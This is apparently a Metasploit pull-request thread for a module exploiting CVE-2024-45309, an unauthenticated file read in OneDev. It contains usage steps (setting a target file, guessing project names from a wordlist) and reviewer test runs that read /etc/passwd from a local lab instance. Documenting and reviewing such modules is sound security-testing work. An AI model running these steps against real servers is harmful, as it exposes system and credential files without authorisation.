OneDev Unauthenticated Arbitrary File Read (CVE-2024-45309)

[vultza]

This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.

Verification

A vulnerable Docker image version (v11.0.8) can be found here.

1. Setup the OneDev application
2. Start msfconsole
3. Do: use auxiliary/gather/onedev_arbitrary_file_read
4. Set the RHOSTS and RPORT options as necessary
5. Set the TARGETFILE option with the absolute path of the target file to read

If a valid project name is known:

6. Set the PROJECT_NAME option with the known project name
7. Do: run
8. If the file exists, the contents will be displayed to the user

If there is no information about existing projects:

6. Set the PROJECT_NAMES_FILE option with the absolute path of a wordlist that contains multiple possible values for a valid project name
7. Do: run
8. If a valid project name is found, the target file contents will be displayed to the user

[jheysel-r7]

Thanks for the responses @vultza. Things are looking good, just a couple comments. Testing was as expected 👍

msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME my_vulnerable_project
PROJECT_NAME => my_vulnerable_project
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set rport 6610
rport => 6610
ryumsf6 auxiliary(gather/onedev_arbitrary_file_read) > run
[*] Running module against 127.0.0.1

[+] /etc/passwd file retrieved with success.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin

[*] Auxiliary module execution completed

[jheysel-r7]

Hey @vultza, thanks so much for making those changes. Everything looks great and testing was as expected 👍

msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME my_vulnerable_project
PROJECT_NAME => my_vulnerable_project
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set rport 6610
rport => 6610
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run
[*] Running module against 127.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. OneDev instance is vulnerable.
[+] /etc/passwd file retrieved with success.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin

[*] Auxiliary module execution completed
msf6 auxiliary(gather/onedev_arbitrary_file_read) > check
[*] 127.0.0.1:6610 - The target appears to be vulnerable. OneDev instance is vulnerable.
msf6 auxiliary(gather/onedev_arbitrary_file_read) > reload
[*] Reloading module...
msf6 auxiliary(gather/onedev_arbitrary_file_read) > check
[+] 127.0.0.1:6610 - The target is vulnerable. OneDev instance is vulnerable.
msf6 auxiliary(gather/onedev_arbitrary_file_read) >

[jheysel-r7]

Release Notes

This adds an exploit module for an unauthenticated arbitrary file read vulnerability, tracked as CVE-2024-45309, which affects OneDev versions <= 11.0.8.